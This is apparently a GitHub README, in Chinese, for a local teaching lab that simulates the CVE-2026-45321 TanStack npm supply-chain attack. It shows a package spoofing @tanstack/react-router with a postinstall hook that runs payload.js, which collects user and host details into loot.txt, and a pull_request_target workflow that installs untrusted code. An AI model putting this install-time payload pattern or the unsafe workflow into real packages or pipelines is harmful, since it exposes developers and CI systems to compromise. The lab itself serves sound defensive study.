adriannurrr/CVE-2026-45321-Tanstack

GitHub: adriannurrr/CVE-2026-45321-Tanstack

一个用于教学和防御性安全研究的本地实验室项目,模拟 CVE-2026-45321 中 TanStack npm 包供应链攻击的基本原理。

Stars: 0 | Forks: 0

# 供应链攻击模拟 — CVE-2026-45321 (TanStack) ## 免责声明 本项目仅用于: * 网络安全学习, * 防御性安全研究, * 本地实验室模拟, * 理解 supply chain attack 概念。 请勿将本项目用于: * 攻击真实系统, * 窃取 credential, * 恶意软件部署, * 未经授权的访问(unauthorized access), * 或任何其他非法活动。 # 描述 本实验室模拟了以下事件的基本概念: * CVE-2026-45321 * TanStack npm Supply Chain Compromise * GitHub Actions CI/CD 滥用 * npm Lifecycle Script 执行 模拟在本地安全进行,不包含: * 真实的 credential 窃取, * token exfiltration, * 或妥协第三方服务。 # 实验室结构 ``` lab/ ├── fake-repo/ # Simulasi repository target ├── attacker-package/ # Simulasi package malicious └── victim-project/ # Simulasi korban ``` # 模拟工作原理 ``` Attacker Package ↓ npm install ↓ postinstall script berjalan ↓ payload.js dieksekusi otomatis ↓ Korban terkena install-time execution ``` # 学习概念 * npm lifecycle hooks * 安装时任意代码执行 * supply chain attack * CI/CD 信任边界 * 恶意 npm package * postinstall 滥用 * dependency 妥协 # 安装说明 ## 1. 克隆仓库 ``` git clone https://github.com/renewablehacking/CVE-2026-45321-Tanstack.git cd CVE-2026-45321-Tanstack ``` # 设置攻击者 Package ## 2. 进入攻击者 Package 文件夹 ``` cd attacker-package ``` ## 3. 安装 Dependency ``` npm install ``` ## 4. 构建 Tarball Package ``` npm pack ``` 结果: ``` tanstack-react-router-1.169.5.tgz ``` # 模拟受害者 ## 5. 进入受害者项目 ``` cd ../victim-project ``` ## 6. 安装恶意 Package ``` npm install ../attacker-package/tanstack-react-router-1.169.5.tgz --foreground-scripts ``` # 输出 如果成功,将会出现: ``` === MALICIOUS PAYLOAD EXECUTED === ``` 并且文件: ``` loot.txt ``` 将被自动创建。 # payload.js 示例 ``` const os = require('os'); const fs = require('fs'); console.log("=== MALICIOUS PAYLOAD EXECUTED ==="); const info = ` USER=${process.env.USER} HOST=${os.hostname()} PLATFORM=${os.platform()} `; console.log(info); fs.writeFileSync("loot.txt", info); ``` # package.json 示例 ``` { "name": "@tanstack/react-router", "version": "1.169.5", "scripts": { "postinstall": "node payload.js" } } ``` # CI/CD 模拟 本项目也可用于理解: * GitHub Actions * pull_request_target * CI/CD 权限边界 * dependency 执行 工作流示例: ``` name: CI on: pull_request_target: jobs: build: runs-on: ubuntu-latest steps: - uses: actions/checkout@v4 - run: npm install ``` # 与 CVE-2026-45321 的关系 | 实验室模拟 | 真实世界 | | ---------------- | ---------------------------- | | attacker-package | 受感染的 TanStack package | | payload.js | 恶意安装程序 | | postinstall | lifecycle hook 滥用 | | victim-project | 受害者开发者/CI | | fake-repo | GitHub Actions pipeline | # 参考 * https://nvd.nist.gov/vuln/detail/CVE-2026-45321 * https://tanstack.com/blog/npm-supply-chain-compromise-postmortem * https://docs.npmjs.com/cli/v10/using-npm/scripts * https://docs.github.com/en/actions/security-guides/security-hardening-for-github-actions # 仅用于教育目的 建立此实验室旨在提高对以下方面的认识: * 供应链安全, * dependency 安全, * CI/CD 安全, * 以及防御性安全研究。
标签:CI/CD安全, DAST, Llama, MITM代理, npm, 供应链攻击, 恶意软件分析, 数据可视化, 暗色界面, 漏洞复现, 自定义脚本